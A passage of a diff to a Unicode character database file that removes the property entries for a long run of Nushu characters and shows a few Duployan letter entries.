CHARACTER-1B197;Lo;0;L;;;;;N;;;;; -1B198;NUSHU CHARACTER-1B198;Lo;0;L;;;;;N;;;;; -1B199;NUSHU CHARACTER-1B199;Lo;0;L;;;;;N;;;;; -1B19A;NUSHU CHARACTER-1B19A;Lo;0;L;;;;;N;;;;; -1B19B;NUSHU CHARACTER-1B19B;Lo;0;L;;;;;N;;;;; -1B19C;NUSHU CHARACTER-1B19C;Lo;0;L;;;;;N;;;;; -1B19D;NUSHU CHARACTER-1B19D;Lo;0;L;;;;;N;;;;; -1B19E;NUSHU CHARACTER-1B19E;Lo;0;L;;;;;N;;;;; -1B19F;NUSHU CHARACTER-1B19F;Lo;0;L;;;;;N;;;;; -1B1A0;NUSHU CHARACTER-1B1A0;Lo;0;L;;;;;N;;;;; -1B1A1;NUSHU CHARACTER-1B1A1;Lo;0;L;;;;;N;;;;; -1B1A2;NUSHU CHARACTER-1B1A2;Lo;0;L;;;;;N;;;;; -1B1A3;NUSHU CHARACTER-1B1A3;Lo;0;L;;;;;N;;;;; -1B1A4;NUSHU CHARACTER-1B1A4;Lo;0;L;;;;;N;;;;; -1B1A5;NUSHU CHARACTER-1B1A5;Lo;0;L;;;;;N;;;;; -1B1A6;NUSHU CHARACTER-1B1A6;Lo;0;L;;;;;N;;;;; -1B1A7;NUSHU CHARACTER-1B1A7;Lo;0;L;;;;;N;;;;; -1B1A8;NUSHU CHARACTER-1B1A8;Lo;0;L;;;;;N;;;;; -1B1A9;NUSHU CHARACTER-1B1A9;Lo;0;L;;;;;N;;;;; -1B1AA;NUSHU CHARACTER-1B1AA;Lo;0;L;;;;;N;;;;; -1B1AB;NUSHU CHARACTER-1B1AB;Lo;0;L;;;;;N;;;;; -1B1AC;NUSHU CHARACTER-1B1AC;Lo;0;L;;;;;N;;;;; -1B1AD;NUSHU CHARACTER-1B1AD;Lo;0;L;;;;;N;;;;; -1B1AE;NUSHU CHARACTER-1B1AE;Lo;0;L;;;;;N;;;;; -1B1AF;NUSHU CHARACTER-1B1AF;Lo;0;L;;;;;N;;;;; -1B1B0;NUSHU CHARACTER-1B1B0;Lo;0;L;;;;;N;;;;; -1B1B1;NUSHU CHARACTER-1B1B1;Lo;0;L;;;;;N;;;;; -1B1B2;NUSHU CHARACTER-1B1B2;Lo;0;L;;;;;N;;;;; -1B1B3;NUSHU CHARACTER-1B1B3;Lo;0;L;;;;;N;;;;; -1B1B4;NUSHU CHARACTER-1B1B4;Lo;0;L;;;;;N;;;;; -1B1B5;NUSHU CHARACTER-1B1B5;Lo;0;L;;;;;N;;;;; -1B1B6;NUSHU CHARACTER-1B1B6;Lo;0;L;;;;;N;;;;; -1B1B7;NUSHU CHARACTER-1B1B7;Lo;0;L;;;;;N;;;;; -1B1B8;NUSHU CHARACTER-1B1B8;Lo;0;L;;;;;N;;;;; -1B1B9;NUSHU CHARACTER-1B1B9;Lo;0;L;;;;;N;;;;; -1B1BA;NUSHU CHARACTER-1B1BA;Lo;0;L;;;;;N;;;;; -1B1BB;NUSHU CHARACTER-1B1BB;Lo;0;L;;;;;N;;;;; -1B1BC;NUSHU CHARACTER-1B1BC;Lo;0;L;;;;;N;;;;; -1B1BD;NUSHU CHARACTER-1B1BD;Lo;0;L;;;;;N;;;;; -1B1BE;NUSHU CHARACTER-1B1BE;Lo;0;L;;;;;N;;;;; -1B1BF;NUSHU CHARACTER-1B1BF;Lo;0;L;;;;;N;;;;; -1B1C0;NUSHU CHARACTER-1B1C0;Lo;0;L;;;;;N;;;;; -1B1C1;NUSHU CHARACTER-1B1C1;Lo;0;L;;;;;N;;;;; -1B1C2;NUSHU CHARACTER-1B1C2;Lo;0;L;;;;;N;;;;; -1B1C3;NUSHU CHARACTER-1B1C3;Lo;0;L;;;;;N;;;;; -1B1C4;NUSHU CHARACTER-1B1C4;Lo;0;L;;;;;N;;;;; -1B1C5;NUSHU CHARACTER-1B1C5;Lo;0;L;;;;;N;;;;; -1B1C6;NUSHU CHARACTER-1B1C6;Lo;0;L;;;;;N;;;;; -1B1C7;NUSHU CHARACTER-1B1C7;Lo;0;L;;;;;N;;;;; -1B1C8;NUSHU CHARACTER-1B1C8;Lo;0;L;;;;;N;;;;; -1B1C9;NUSHU CHARACTER-1B1C9;Lo;0;L;;;;;N;;;;; -1B1CA;NUSHU CHARACTER-1B1CA;Lo;0;L;;;;;N;;;;; -1B1CB;NUSHU CHARACTER-1B1CB;Lo;0;L;;;;;N;;;;; -1B1CC;NUSHU CHARACTER-1B1CC;Lo;0;L;;;;;N;;;;; -1B1CD;NUSHU CHARACTER-1B1CD;Lo;0;L;;;;;N;;;;; -1B1CE;NUSHU CHARACTER-1B1CE;Lo;0;L;;;;;N;;;;; -1B1CF;NUSHU CHARACTER-1B1CF;Lo;0;L;;;;;N;;;;; -1B1D0;NUSHU CHARACTER-1B1D0;Lo;0;L;;;;;N;;;;; -1B1D1;NUSHU CHARACTER-1B1D1;Lo;0;L;;;;;N;;;;; -1B1D2;NUSHU CHARACTER-1B1D2;Lo;0;L;;;;;N;;;;; -1B1D3;NUSHU CHARACTER-1B1D3;Lo;0;L;;;;;N;;;;; -1B1D4;NUSHU CHARACTER-1B1D4;Lo;0;L;;;;;N;;;;; -1B1D5;NUSHU CHARACTER-1B1D5;Lo;0;L;;;;;N;;;;; -1B1D6;NUSHU CHARACTER-1B1D6;Lo;0;L;;;;;N;;;;; -1B1D7;NUSHU CHARACTER-1B1D7;Lo;0;L;;;;;N;;;;; -1B1D8;NUSHU CHARACTER-1B1D8;Lo;0;L;;;;;N;;;;; -1B1D9;NUSHU CHARACTER-1B1D9;Lo;0;L;;;;;N;;;;; -1B1DA;NUSHU CHARACTER-1B1DA;Lo;0;L;;;;;N;;;;; -1B1DB;NUSHU CHARACTER-1B1DB;Lo;0;L;;;;;N;;;;; -1B1DC;NUSHU CHARACTER-1B1DC;Lo;0;L;;;;;N;;;;; -1B1DD;NUSHU CHARACTER-1B1DD;Lo;0;L;;;;;N;;;;; -1B1DE;NUSHU CHARACTER-1B1DE;Lo;0;L;;;;;N;;;;; -1B1DF;NUSHU CHARACTER-1B1DF;Lo;0;L;;;;;N;;;;; -1B1E0;NUSHU CHARACTER-1B1E0;Lo;0;L;;;;;N;;;;; -1B1E1;NUSHU CHARACTER-1B1E1;Lo;0;L;;;;;N;;;;; -1B1E2;NUSHU CHARACTER-1B1E2;Lo;0;L;;;;;N;;;;; -1B1E3;NUSHU CHARACTER-1B1E3;Lo;0;L;;;;;N;;;;; -1B1E4;NUSHU CHARACTER-1B1E4;Lo;0;L;;;;;N;;;;; -1B1E5;NUSHU CHARACTER-1B1E5;Lo;0;L;;;;;N;;;;; -1B1E6;NUSHU CHARACTER-1B1E6;Lo;0;L;;;;;N;;;;; -1B1E7;NUSHU CHARACTER-1B1E7;Lo;0;L;;;;;N;;;;; -1B1E8;NUSHU CHARACTER-1B1E8;Lo;0;L;;;;;N;;;;; -1B1E9;NUSHU CHARACTER-1B1E9;Lo;0;L;;;;;N;;;;; -1B1EA;NUSHU CHARACTER-1B1EA;Lo;0;L;;;;;N;;;;; -1B1EB;NUSHU CHARACTER-1B1EB;Lo;0;L;;;;;N;;;;; -1B1EC;NUSHU CHARACTER-1B1EC;Lo;0;L;;;;;N;;;;; -1B1ED;NUSHU CHARACTER-1B1ED;Lo;0;L;;;;;N;;;;; -1B1EE;NUSHU CHARACTER-1B1EE;Lo;0;L;;;;;N;;;;; -1B1EF;NUSHU CHARACTER-1B1EF;Lo;0;L;;;;;N;;;;; -1B1F0;NUSHU CHARACTER-1B1F0;Lo;0;L;;;;;N;;;;; -1B1F1;NUSHU CHARACTER-1B1F1;Lo;0;L;;;;;N;;;;; -1B1F2;NUSHU CHARACTER-1B1F2;Lo;0;L;;;;;N;;;;; -1B1F3;NUSHU CHARACTER-1B1F3;Lo;0;L;;;;;N;;;;; -1B1F4;NUSHU CHARACTER-1B1F4;Lo;0;L;;;;;N;;;;; -1B1F5;NUSHU CHARACTER-1B1F5;Lo;0;L;;;;;N;;;;; -1B1F6;NUSHU CHARACTER-1B1F6;Lo;0;L;;;;;N;;;;; -1B1F7;NUSHU CHARACTER-1B1F7;Lo;0;L;;;;;N;;;;; -1B1F8;NUSHU CHARACTER-1B1F8;Lo;0;L;;;;;N;;;;; -1B1F9;NUSHU CHARACTER-1B1F9;Lo;0;L;;;;;N;;;;; -1B1FA;NUSHU CHARACTER-1B1FA;Lo;0;L;;;;;N;;;;; -1B1FB;NUSHU CHARACTER-1B1FB;Lo;0;L;;;;;N;;;;; -1B1FC;NUSHU CHARACTER-1B1FC;Lo;0;L;;;;;N;;;;; -1B1FD;NUSHU CHARACTER-1B1FD;Lo;0;L;;;;;N;;;;; -1B1FE;NUSHU CHARACTER-1B1FE;Lo;0;L;;;;;N;;;;; -1B1FF;NUSHU CHARACTER-1B1FF;Lo;0;L;;;;;N;;;;; -1B200;NUSHU CHARACTER-1B200;Lo;0;L;;;;;N;;;;; -1B201;NUSHU CHARACTER-1B201;Lo;0;L;;;;;N;;;;; -1B202;NUSHU CHARACTER-1B202;Lo;0;L;;;;;N;;;;; -1B203;NUSHU CHARACTER-1B203;Lo;0;L;;;;;N;;;;; -1B204;NUSHU CHARACTER-1B204;Lo;0;L;;;;;N;;;;; -1B205;NUSHU CHARACTER-1B205;Lo;0;L;;;;;N;;;;; -1B206;NUSHU CHARACTER-1B206;Lo;0;L;;;;;N;;;;; -1B207;NUSHU CHARACTER-1B207;Lo;0;L;;;;;N;;;;; -1B208;NUSHU CHARACTER-1B208;Lo;0;L;;;;;N;;;;; -1B209;NUSHU CHARACTER-1B209;Lo;0;L;;;;;N;;;;; -1B20A;NUSHU CHARACTER-1B20A;Lo;0;L;;;;;N;;;;; -1B20B;NUSHU CHARACTER-1B20B;Lo;0;L;;;;;N;;;;; -1B20C;NUSHU CHARACTER-1B20C;Lo;0;L;;;;;N;;;;; -1B20D;NUSHU CHARACTER-1B20D;Lo;0;L;;;;;N;;;;; -1B20E;NUSHU CHARACTER-1B20E;Lo;0;L;;;;;N;;;;; -1B20F;NUSHU CHARACTER-1B20F;Lo;0;L;;;;;N;;;;; -1B210;NUSHU CHARACTER-1B210;Lo;0;L;;;;;N;;;;; -1B211;NUSHU CHARACTER-1B211;Lo;0;L;;;;;N;;;;; -1B212;NUSHU CHARACTER-1B212;Lo;0;L;;;;;N;;;;; -1B213;NUSHU CHARACTER-1B213;Lo;0;L;;;;;N;;;;; -1B214;NUSHU CHARACTER-1B214;Lo;0;L;;;;;N;;;;; -1B215;NUSHU CHARACTER-1B215;Lo;0;L;;;;;N;;;;; -1B216;NUSHU CHARACTER-1B216;Lo;0;L;;;;;N;;;;; -1B217;NUSHU CHARACTER-1B217;Lo;0;L;;;;;N;;;;; -1B218;NUSHU CHARACTER-1B218;Lo;0;L;;;;;N;;;;; -1B219;NUSHU CHARACTER-1B219;Lo;0;L;;;;;N;;;;; -1B21A;NUSHU CHARACTER-1B21A;Lo;0;L;;;;;N;;;;; -1B21B;NUSHU CHARACTER-1B21B;Lo;0;L;;;;;N;;;;; -1B21C;NUSHU CHARACTER-1B21C;Lo;0;L;;;;;N;;;;; -1B21D;NUSHU CHARACTER-1B21D;Lo;0;L;;;;;N;;;;; -1B21E;NUSHU CHARACTER-1B21E;Lo;0;L;;;;;N;;;;; -1B21F;NUSHU CHARACTER-1B21F;Lo;0;L;;;;;N;;;;; -1B220;NUSHU CHARACTER-1B220;Lo;0;L;;;;;N;;;;; -1B221;NUSHU CHARACTER-1B221;Lo;0;L;;;;;N;;;;; -1B222;NUSHU CHARACTER-1B222;Lo;0;L;;;;;N;;;;; -1B223;NUSHU CHARACTER-1B223;Lo;0;L;;;;;N;;;;; -1B224;NUSHU CHARACTER-1B224;Lo;0;L;;;;;N;;;;; -1B225;NUSHU CHARACTER-1B225;Lo;0;L;;;;;N;;;;; -1B226;NUSHU CHARACTER-1B226;Lo;0;L;;;;;N;;;;; -1B227;NUSHU CHARACTER-1B227;Lo;0;L;;;;;N;;;;; -1B228;NUSHU CHARACTER-1B228;Lo;0;L;;;;;N;;;;; -1B229;NUSHU CHARACTER-1B229;Lo;0;L;;;;;N;;;;; -1B22A;NUSHU CHARACTER-1B22A;Lo;0;L;;;;;N;;;;; -1B22B;NUSHU CHARACTER-1B22B;Lo;0;L;;;;;N;;;;; -1B22C;NUSHU CHARACTER-1B22C;Lo;0;L;;;;;N;;;;; -1B22D;NUSHU CHARACTER-1B22D;Lo;0;L;;;;;N;;;;; -1B22E;NUSHU CHARACTER-1B22E;Lo;0;L;;;;;N;;;;; -1B22F;NUSHU CHARACTER-1B22F;Lo;0;L;;;;;N;;;;; -1B230;NUSHU CHARACTER-1B230;Lo;0;L;;;;;N;;;;; -1B231;NUSHU CHARACTER-1B231;Lo;0;L;;;;;N;;;;; -1B232;NUSHU CHARACTER-1B232;Lo;0;L;;;;;N;;;;; -1B233;NUSHU CHARACTER-1B233;Lo;0;L;;;;;N;;;;; -1B234;NUSHU CHARACTER-1B234;Lo;0;L;;;;;N;;;;; -1B235;NUSHU CHARACTER-1B235;Lo;0;L;;;;;N;;;;; -1B236;NUSHU CHARACTER-1B236;Lo;0;L;;;;;N;;;;; -1B237;NUSHU CHARACTER-1B237;Lo;0;L;;;;;N;;;;; -1B238;NUSHU CHARACTER-1B238;Lo;0;L;;;;;N;;;;; -1B239;NUSHU CHARACTER-1B239;Lo;0;L;;;;;N;;;;; -1B23A;NUSHU CHARACTER-1B23A;Lo;0;L;;;;;N;;;;; -1B23B;NUSHU CHARACTER-1B23B;Lo;0;L;;;;;N;;;;; -1B23C;NUSHU CHARACTER-1B23C;Lo;0;L;;;;;N;;;;; -1B23D;NUSHU CHARACTER-1B23D;Lo;0;L;;;;;N;;;;; -1B23E;NUSHU CHARACTER-1B23E;Lo;0;L;;;;;N;;;;; -1B23F;NUSHU CHARACTER-1B23F;Lo;0;L;;;;;N;;;;; -1B240;NUSHU CHARACTER-1B240;Lo;0;L;;;;;N;;;;; -1B241;NUSHU CHARACTER-1B241;Lo;0;L;;;;;N;;;;; -1B242;NUSHU CHARACTER-1B242;Lo;0;L;;;;;N;;;;; -1B243;NUSHU CHARACTER-1B243;Lo;0;L;;;;;N;;;;; -1B244;NUSHU CHARACTER-1B244;Lo;0;L;;;;;N;;;;; -1B245;NUSHU CHARACTER-1B245;Lo;0;L;;;;;N;;;;; -1B246;NUSHU CHARACTER-1B246;Lo;0;L;;;;;N;;;;; -1B247;NUSHU CHARACTER-1B247;Lo;0;L;;;;;N;;;;; -1B248;NUSHU CHARACTER-1B248;Lo;0;L;;;;;N;;;;; -1B249;NUSHU CHARACTER-1B249;Lo;0;L;;;;;N;;;;; -1B24A;NUSHU CHARACTER-1B24A;Lo;0;L;;;;;N;;;;; -1B24B;NUSHU CHARACTER-1B24B;Lo;0;L;;;;;N;;;;; -1B24C;NUSHU CHARACTER-1B24C;Lo;0;L;;;;;N;;;;; -1B24D;NUSHU CHARACTER-1B24D;Lo;0;L;;;;;N;;;;; -1B24E;NUSHU CHARACTER-1B24E;Lo;0;L;;;;;N;;;;; -1B24F;NUSHU CHARACTER-1B24F;Lo;0;L;;;;;N;;;;; -1B250;NUSHU CHARACTER-1B250;Lo;0;L;;;;;N;;;;; -1B251;NUSHU CHARACTER-1B251;Lo;0;L;;;;;N;;;;; -1B252;NUSHU CHARACTER-1B252;Lo;0;L;;;;;N;;;;; -1B253;NUSHU CHARACTER-1B253;Lo;0;L;;;;;N;;;;; -1B254;NUSHU CHARACTER-1B254;Lo;0;L;;;;;N;;;;; -1B255;NUSHU CHARACTER-1B255;Lo;0;L;;;;;N;;;;; -1B256;NUSHU CHARACTER-1B256;Lo;0;L;;;;;N;;;;; -1B257;NUSHU CHARACTER-1B257;Lo;0;L;;;;;N;;;;; -1B258;NUSHU CHARACTER-1B258;Lo;0;L;;;;;N;;;;; -1B259;NUSHU CHARACTER-1B259;Lo;0;L;;;;;N;;;;; -1B25A;NUSHU CHARACTER-1B25A;Lo;0;L;;;;;N;;;;; -1B25B;NUSHU CHARACTER-1B25B;Lo;0;L;;;;;N;;;;; -1B25C;NUSHU CHARACTER-1B25C;Lo;0;L;;;;;N;;;;; -1B25D;NUSHU CHARACTER-1B25D;Lo;0;L;;;;;N;;;;; -1B25E;NUSHU CHARACTER-1B25E;Lo;0;L;;;;;N;;;;; -1B25F;NUSHU CHARACTER-1B25F;Lo;0;L;;;;;N;;;;; -1B260;NUSHU CHARACTER-1B260;Lo;0;L;;;;;N;;;;; -1B261;NUSHU CHARACTER-1B261;Lo;0;L;;;;;N;;;;; -1B262;NUSHU CHARACTER-1B262;Lo;0;L;;;;;N;;;;; -1B263;NUSHU CHARACTER-1B263;Lo;0;L;;;;;N;;;;; -1B264;NUSHU CHARACTER-1B264;Lo;0;L;;;;;N;;;;; -1B265;NUSHU CHARACTER-1B265;Lo;0;L;;;;;N;;;;; -1B266;NUSHU CHARACTER-1B266;Lo;0;L;;;;;N;;;;; -1B267;NUSHU CHARACTER-1B267;Lo;0;L;;;;;N;;;;; -1B268;NUSHU CHARACTER-1B268;Lo;0;L;;;;;N;;;;; -1B269;NUSHU CHARACTER-1B269;Lo;0;L;;;;;N;;;;; -1B26A;NUSHU CHARACTER-1B26A;Lo;0;L;;;;;N;;;;; -1B26B;NUSHU CHARACTER-1B26B;Lo;0;L;;;;;N;;;;; -1B26C;NUSHU CHARACTER-1B26C;Lo;0;L;;;;;N;;;;; -1B26D;NUSHU CHARACTER-1B26D;Lo;0;L;;;;;N;;;;; -1B26E;NUSHU CHARACTER-1B26E;Lo;0;L;;;;;N;;;;; -1B26F;NUSHU CHARACTER-1B26F;Lo;0;L;;;;;N;;;;; -1B270;NUSHU CHARACTER-1B270;Lo;0;L;;;;;N;;;;; -1B271;NUSHU CHARACTER-1B271;Lo;0;L;;;;;N;;;;; -1B272;NUSHU CHARACTER-1B272;Lo;0;L;;;;;N;;;;; -1B273;NUSHU CHARACTER-1B273;Lo;0;L;;;;;N;;;;; -1B274;NUSHU CHARACTER-1B274;Lo;0;L;;;;;N;;;;; -1B275;NUSHU CHARACTER-1B275;Lo;0;L;;;;;N;;;;; -1B276;NUSHU CHARACTER-1B276;Lo;0;L;;;;;N;;;;; -1B277;NUSHU CHARACTER-1B277;Lo;0;L;;;;;N;;;;; -1B278;NUSHU CHARACTER-1B278;Lo;0;L;;;;;N;;;;; -1B279;NUSHU CHARACTER-1B279;Lo;0;L;;;;;N;;;;; -1B27A;NUSHU CHARACTER-1B27A;Lo;0;L;;;;;N;;;;; -1B27B;NUSHU CHARACTER-1B27B;Lo;0;L;;;;;N;;;;; -1B27C;NUSHU CHARACTER-1B27C;Lo;0;L;;;;;N;;;;; -1B27D;NUSHU CHARACTER-1B27D;Lo;0;L;;;;;N;;;;; -1B27E;NUSHU CHARACTER-1B27E;Lo;0;L;;;;;N;;;;; -1B27F;NUSHU CHARACTER-1B27F;Lo;0;L;;;;;N;;;;; -1B280;NUSHU CHARACTER-1B280;Lo;0;L;;;;;N;;;;; -1B281;NUSHU CHARACTER-1B281;Lo;0;L;;;;;N;;;;; -1B282;NUSHU CHARACTER-1B282;Lo;0;L;;;;;N;;;;; -1B283;NUSHU CHARACTER-1B283;Lo;0;L;;;;;N;;;;; -1B284;NUSHU CHARACTER-1B284;Lo;0;L;;;;;N;;;;; -1B285;NUSHU CHARACTER-1B285;Lo;0;L;;;;;N;;;;; -1B286;NUSHU CHARACTER-1B286;Lo;0;L;;;;;N;;;;; -1B287;NUSHU CHARACTER-1B287;Lo;0;L;;;;;N;;;;; -1B288;NUSHU CHARACTER-1B288;Lo;0;L;;;;;N;;;;; -1B289;NUSHU CHARACTER-1B289;Lo;0;L;;;;;N;;;;; -1B28A;NUSHU CHARACTER-1B28A;Lo;0;L;;;;;N;;;;; -1B28B;NUSHU CHARACTER-1B28B;Lo;0;L;;;;;N;;;;; -1B28C;NUSHU CHARACTER-1B28C;Lo;0;L;;;;;N;;;;; -1B28D;NUSHU CHARACTER-1B28D;Lo;0;L;;;;;N;;;;; -1B28E;NUSHU CHARACTER-1B28E;Lo;0;L;;;;;N;;;;; -1B28F;NUSHU CHARACTER-1B28F;Lo;0;L;;;;;N;;;;; -1B290;NUSHU CHARACTER-1B290;Lo;0;L;;;;;N;;;;; -1B291;NUSHU CHARACTER-1B291;Lo;0;L;;;;;N;;;;; -1B292;NUSHU CHARACTER-1B292;Lo;0;L;;;;;N;;;;; -1B293;NUSHU CHARACTER-1B293;Lo;0;L;;;;;N;;;;; -1B294;NUSHU CHARACTER-1B294;Lo;0;L;;;;;N;;;;; -1B295;NUSHU CHARACTER-1B295;Lo;0;L;;;;;N;;;;; -1B296;NUSHU CHARACTER-1B296;Lo;0;L;;;;;N;;;;; -1B297;NUSHU CHARACTER-1B297;Lo;0;L;;;;;N;;;;; -1B298;NUSHU CHARACTER-1B298;Lo;0;L;;;;;N;;;;; -1B299;NUSHU CHARACTER-1B299;Lo;0;L;;;;;N;;;;; -1B29A;NUSHU CHARACTER-1B29A;Lo;0;L;;;;;N;;;;; -1B29B;NUSHU CHARACTER-1B29B;Lo;0;L;;;;;N;;;;; -1B29C;NUSHU CHARACTER-1B29C;Lo;0;L;;;;;N;;;;; -1B29D;NUSHU CHARACTER-1B29D;Lo;0;L;;;;;N;;;;; -1B29E;NUSHU CHARACTER-1B29E;Lo;0;L;;;;;N;;;;; -1B29F;NUSHU CHARACTER-1B29F;Lo;0;L;;;;;N;;;;; -1B2A0;NUSHU CHARACTER-1B2A0;Lo;0;L;;;;;N;;;;; -1B2A1;NUSHU CHARACTER-1B2A1;Lo;0;L;;;;;N;;;;; -1B2A2;NUSHU CHARACTER-1B2A2;Lo;0;L;;;;;N;;;;; -1B2A3;NUSHU CHARACTER-1B2A3;Lo;0;L;;;;;N;;;;; -1B2A4;NUSHU CHARACTER-1B2A4;Lo;0;L;;;;;N;;;;; -1B2A5;NUSHU CHARACTER-1B2A5;Lo;0;L;;;;;N;;;;; -1B2A6;NUSHU CHARACTER-1B2A6;Lo;0;L;;;;;N;;;;; -1B2A7;NUSHU CHARACTER-1B2A7;Lo;0;L;;;;;N;;;;; -1B2A8;NUSHU CHARACTER-1B2A8;Lo;0;L;;;;;N;;;;; -1B2A9;NUSHU CHARACTER-1B2A9;Lo;0;L;;;;;N;;;;; -1B2AA;NUSHU CHARACTER-1B2AA;Lo;0;L;;;;;N;;;;; -1B2AB;NUSHU CHARACTER-1B2AB;Lo;0;L;;;;;N;;;;; -1B2AC;NUSHU CHARACTER-1B2AC;Lo;0;L;;;;;N;;;;; -1B2AD;NUSHU CHARACTER-1B2AD;Lo;0;L;;;;;N;;;;; -1B2AE;NUSHU CHARACTER-1B2AE;Lo;0;L;;;;;N;;;;; -1B2AF;NUSHU CHARACTER-1B2AF;Lo;0;L;;;;;N;;;;; -1B2B0;NUSHU CHARACTER-1B2B0;Lo;0;L;;;;;N;;;;; -1B2B1;NUSHU CHARACTER-1B2B1;Lo;0;L;;;;;N;;;;; -1B2B2;NUSHU CHARACTER-1B2B2;Lo;0;L;;;;;N;;;;; -1B2B3;NUSHU CHARACTER-1B2B3;Lo;0;L;;;;;N;;;;; -1B2B4;NUSHU CHARACTER-1B2B4;Lo;0;L;;;;;N;;;;; -1B2B5;NUSHU CHARACTER-1B2B5;Lo;0;L;;;;;N;;;;; -1B2B6;NUSHU CHARACTER-1B2B6;Lo;0;L;;;;;N;;;;; -1B2B7;NUSHU CHARACTER-1B2B7;Lo;0;L;;;;;N;;;;; -1B2B8;NUSHU CHARACTER-1B2B8;Lo;0;L;;;;;N;;;;; -1B2B9;NUSHU CHARACTER-1B2B9;Lo;0;L;;;;;N;;;;; -1B2BA;NUSHU CHARACTER-1B2BA;Lo;0;L;;;;;N;;;;; -1B2BB;NUSHU CHARACTER-1B2BB;Lo;0;L;;;;;N;;;;; -1B2BC;NUSHU CHARACTER-1B2BC;Lo;0;L;;;;;N;;;;; -1B2BD;NUSHU CHARACTER-1B2BD;Lo;0;L;;;;;N;;;;; -1B2BE;NUSHU CHARACTER-1B2BE;Lo;0;L;;;;;N;;;;; -1B2BF;NUSHU CHARACTER-1B2BF;Lo;0;L;;;;;N;;;;; -1B2C0;NUSHU CHARACTER-1B2C0;Lo;0;L;;;;;N;;;;; -1B2C1;NUSHU CHARACTER-1B2C1;Lo;0;L;;;;;N;;;;; -1B2C2;NUSHU CHARACTER-1B2C2;Lo;0;L;;;;;N;;;;; -1B2C3;NUSHU CHARACTER-1B2C3;Lo;0;L;;;;;N;;;;; -1B2C4;NUSHU CHARACTER-1B2C4;Lo;0;L;;;;;N;;;;; -1B2C5;NUSHU CHARACTER-1B2C5;Lo;0;L;;;;;N;;;;; -1B2C6;NUSHU CHARACTER-1B2C6;Lo;0;L;;;;;N;;;;; -1B2C7;NUSHU CHARACTER-1B2C7;Lo;0;L;;;;;N;;;;; -1B2C8;NUSHU CHARACTER-1B2C8;Lo;0;L;;;;;N;;;;; -1B2C9;NUSHU CHARACTER-1B2C9;Lo;0;L;;;;;N;;;;; -1B2CA;NUSHU CHARACTER-1B2CA;Lo;0;L;;;;;N;;;;; -1B2CB;NUSHU CHARACTER-1B2CB;Lo;0;L;;;;;N;;;;; -1B2CC;NUSHU CHARACTER-1B2CC;Lo;0;L;;;;;N;;;;; -1B2CD;NUSHU CHARACTER-1B2CD;Lo;0;L;;;;;N;;;;; -1B2CE;NUSHU CHARACTER-1B2CE;Lo;0;L;;;;;N;;;;; -1B2CF;NUSHU CHARACTER-1B2CF;Lo;0;L;;;;;N;;;;; -1B2D0;NUSHU CHARACTER-1B2D0;Lo;0;L;;;;;N;;;;; -1B2D1;NUSHU CHARACTER-1B2D1;Lo;0;L;;;;;N;;;;; -1B2D2;NUSHU CHARACTER-1B2D2;Lo;0;L;;;;;N;;;;; -1B2D3;NUSHU CHARACTER-1B2D3;Lo;0;L;;;;;N;;;;; -1B2D4;NUSHU CHARACTER-1B2D4;Lo;0;L;;;;;N;;;;; -1B2D5;NUSHU CHARACTER-1B2D5;Lo;0;L;;;;;N;;;;; -1B2D6;NUSHU CHARACTER-1B2D6;Lo;0;L;;;;;N;;;;; -1B2D7;NUSHU CHARACTER-1B2D7;Lo;0;L;;;;;N;;;;; -1B2D8;NUSHU CHARACTER-1B2D8;Lo;0;L;;;;;N;;;;; -1B2D9;NUSHU CHARACTER-1B2D9;Lo;0;L;;;;;N;;;;; -1B2DA;NUSHU CHARACTER-1B2DA;Lo;0;L;;;;;N;;;;; -1B2DB;NUSHU CHARACTER-1B2DB;Lo;0;L;;;;;N;;;;; -1B2DC;NUSHU CHARACTER-1B2DC;Lo;0;L;;;;;N;;;;; -1B2DD;NUSHU CHARACTER-1B2DD;Lo;0;L;;;;;N;;;;; -1B2DE;NUSHU CHARACTER-1B2DE;Lo;0;L;;;;;N;;;;; -1B2DF;NUSHU CHARACTER-1B2DF;Lo;0;L;;;;;N;;;;; -1B2E0;NUSHU CHARACTER-1B2E0;Lo;0;L;;;;;N;;;;; -1B2E1;NUSHU CHARACTER-1B2E1;Lo;0;L;;;;;N;;;;; -1B2E2;NUSHU CHARACTER-1B2E2;Lo;0;L;;;;;N;;;;; -1B2E3;NUSHU CHARACTER-1B2E3;Lo;0;L;;;;;N;;;;; -1B2E4;NUSHU CHARACTER-1B2E4;Lo;0;L;;;;;N;;;;; -1B2E5;NUSHU CHARACTER-1B2E5;Lo;0;L;;;;;N;;;;; -1B2E6;NUSHU CHARACTER-1B2E6;Lo;0;L;;;;;N;;;;; -1B2E7;NUSHU CHARACTER-1B2E7;Lo;0;L;;;;;N;;;;; -1B2E8;NUSHU CHARACTER-1B2E8;Lo;0;L;;;;;N;;;;; -1B2E9;NUSHU CHARACTER-1B2E9;Lo;0;L;;;;;N;;;;; -1B2EA;NUSHU CHARACTER-1B2EA;Lo;0;L;;;;;N;;;;; -1B2EB;NUSHU CHARACTER-1B2EB;Lo;0;L;;;;;N;;;;; -1B2EC;NUSHU CHARACTER-1B2EC;Lo;0;L;;;;;N;;;;; -1B2ED;NUSHU CHARACTER-1B2ED;Lo;0;L;;;;;N;;;;; -1B2EE;NUSHU CHARACTER-1B2EE;Lo;0;L;;;;;N;;;;; -1B2EF;NUSHU CHARACTER-1B2EF;Lo;0;L;;;;;N;;;;; -1B2F0;NUSHU CHARACTER-1B2F0;Lo;0;L;;;;;N;;;;; -1B2F1;NUSHU CHARACTER-1B2F1;Lo;0;L;;;;;N;;;;; -1B2F2;NUSHU CHARACTER-1B2F2;Lo;0;L;;;;;N;;;;; -1B2F3;NUSHU CHARACTER-1B2F3;Lo;0;L;;;;;N;;;;; -1B2F4;NUSHU CHARACTER-1B2F4;Lo;0;L;;;;;N;;;;; -1B2F5;NUSHU CHARACTER-1B2F5;Lo;0;L;;;;;N;;;;; -1B2F6;NUSHU CHARACTER-1B2F6;Lo;0;L;;;;;N;;;;; -1B2F7;NUSHU CHARACTER-1B2F7;Lo;0;L;;;;;N;;;;; -1B2F8;NUSHU CHARACTER-1B2F8;Lo;0;L;;;;;N;;;;; -1B2F9;NUSHU CHARACTER-1B2F9;Lo;0;L;;;;;N;;;;; -1B2FA;NUSHU CHARACTER-1B2FA;Lo;0;L;;;;;N;;;;; -1B2FB;NUSHU CHARACTER-1B2FB;Lo;0;L;;;;;N;;;;; 1BC00;DUPLOYAN LETTER H;Lo;0;L;;;;;N;;;;; 1BC01;DUPLOYAN LETTER X;Lo;0;L;;;;;N;;;;; 1BC02;DUPLOYAN LETTER P;Lo;0;L;;;;;N;;;;; @@ -29217,12 +28269,6 @@ FFFD;REPLACEMENT CHARACTER;So;0;ON;;;;;N;;;;; 1F248;TORTOISE SHELL BRACKETED CJK UNIFIED 